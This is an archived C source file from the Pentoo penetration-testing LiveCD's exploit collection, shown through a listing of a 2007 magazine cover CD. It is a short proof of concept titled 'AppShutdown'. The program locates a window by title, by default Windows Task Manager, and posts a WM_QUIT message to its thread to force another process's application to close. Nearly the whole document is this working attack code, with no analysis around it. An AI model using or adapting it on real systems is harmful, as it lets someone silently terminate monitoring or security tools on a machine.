home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / AppShutdown.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  40 lines

  1. #include <windows.h>
  2. #include <commctrl.h>
  3. #include <stdio.h>
  4. char tWindow[]="Windows Task Manager";// The name of the main window
  5. char* pWindow;
  6. int main(int argc, char *argv[])
  7. {
  8.         long hWnd,proc;
  9.         DWORD hThread;
  10.         printf("%% AppShutdown - Playing with PostThreadMessage\n");
  11.         printf("%% brett.moore@security-assessment.com\n\n");
  12.         // Specify Window Title On Command Line
  13.         if (argc ==2)
  14.                 pWindow = argv[1];
  15.         else
  16.                 pWindow = tWindow;
  17.  
  18.         printf("+ Finding %s Window...\n",pWindow);
  19.         hWnd = (long)FindWindow(NULL,pWindow);
  20.         if(hWnd == NULL)
  21.         {
  22.           printf("+ Couldn't Find %s Window\n",pWindow);
  23.           return 0;
  24.         }
  25.         printf("+ Found Main Window At...0x%xh\n",hWnd);
  26.         printf("+ Finding Window Thread..");
  27.         hThread = GetWindowThreadProcessId(hWnd,&proc);
  28.         if(hThread  == NULL)
  29.         {
  30.           printf("Failed\n");
  31.           return 0;
  32.         }
  33.         printf("0x%xh Process 0x%xh\n",hThread,proc);
  34.         printf("+ Send Quit Message\n");
  35.         PostThreadMessage((DWORD) hThread,(UINT) WM_QUIT,0,0);
  36.         printf("+ Done...\n");
  37.         return 0;
  38. }
  39.  
  40.